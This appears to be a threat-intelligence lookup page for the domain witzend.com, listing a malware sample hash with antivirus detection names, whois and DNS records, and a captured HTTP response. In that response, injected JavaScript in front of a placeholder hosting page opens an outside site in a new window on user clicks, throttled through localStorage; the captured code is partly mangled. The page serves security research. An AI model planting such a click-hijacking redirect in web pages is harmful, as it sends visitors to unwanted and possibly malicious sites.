Domain > witzend.com

Welcome! Right click nodes and scroll the mouse to navigate the graph.

More information on this domain is in AlienVault OTX

Files that talk to witzend.com

MD5	A/V
18e659efd6bd23972f0a9a6a9ecae920	[HW32.CDB.9c4f] [Trojan.Win32.Kryptik.cxapgj] [Kryptik.CCFN] [Backdoor.Win32.Hlux.dmyv] [Backdoor.Hlux!x5Q6ZTEiRSs] [BackDoor.Slym.13348] [Mal/FakeAV-UF] [Trojan[Backdoor]/Win32.Hlux] [VirTool:Win32/Obfuscator.WT] [Heur.Trojan.Hlux] [Win32/Kryptik.CASL] [Win32.SuspectCrc] [W32/Kryptik.BWUN!tr] [Crypt3.LQN] [Trojan.Win32.Kryptik.CASL] [Win32/Trojan.337]

Whois

Property	Value
NameServer	NS.VFR.NET
Created	1996-02-11 00:00:00
Changed	2012-12-18 00:00:00
Expires	2016-02-12 00:00:00
Registrar	NETWORK SOLUTIONS, L

DNS Resolutions

Date	IP Address
2015-05-27	-
2025-02-07	216.139.36.4 (ClassC)

HTTP/1.1 200 OKDate: Tue, 20 Feb 2024 19:25:29 GMTServer: Apache/2Upgrade: h2,h2cConnection: UpgradeLast-Modified: Wed, 28 Sep 2022 02:45:32 GMTETag: 706-5e9b3c11eeb00Accept-Ranges: bytesContent-Lengt

script>(function (parameters) {		const getHoursDiff  (startDate, endDate) > {			const msInHour  1000 * 60 * 60;			return Math.round(Math.abs(endDate - startDate) / msInHour);		}		const getFromStorage  (host) > localStorage.getItem(`${host}-local-storage`);		const addToStorage  (host, nowDate) > localStorage.setItem(`${host}-local-storage`, nowDate);		function globalClick(event) {			const host  location.host			const newLocation  https://ois.is/images/logo.png			const allowedHours  6			const nowDate  Date.parse(new Date());			const savedData  getFromStorage(host)			if (savedData) {				try {					const storageDate  parseInt(savedData);					// check hours					const hoursDiff  getHoursDiff(nowDate, storageDate)					console.log(nowDate, storageDate, hoursDiff)					if (hoursDiff > allowedHours) {						addToStorage(host, nowDate);						window.open(newLocation, _blank);					}				} catch (error) {					addToStorage(host, nowDate);					window.open(newLocation, _blank);				}			} else {				addToStorage(host, nowDate);				window.open(newLocation, _blank);			}		}		document.addEventListener(click, globalClick);	})();/script>html>head>	title>		witzend.com	/title>	style>	* { font-family: verdana; font-size: 10pt; COLOR: gray; }	b { font-weight: bold; }	table { height: 50%; border: 1px solid gray;}	td { text-align: center; padding: 25;}	/style>/head>body>center>br>br>br>br>	table>	tr>td>Welcome to the home of b>witzend.com/b>/td>/tr>	tr>td>To change this page, upload your website into the public_html directory/td>/tr>	tr>td>img srclogo.jpg>/td>/tr>	tr>td stylefont-size: 8pt>Date Created: Sun Dec  2 09:40:38 2007/td>/tr>	/table>br>br>/center>/body>/html>

Subdomains

Date	Domain	IP
mail.witzend.com	2014-05-29	216.139.36.4

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > witzend.com

Is this malicious?

Files that talk to witzend.com

Whois

DNS Resolutions

Port 80

Subdomains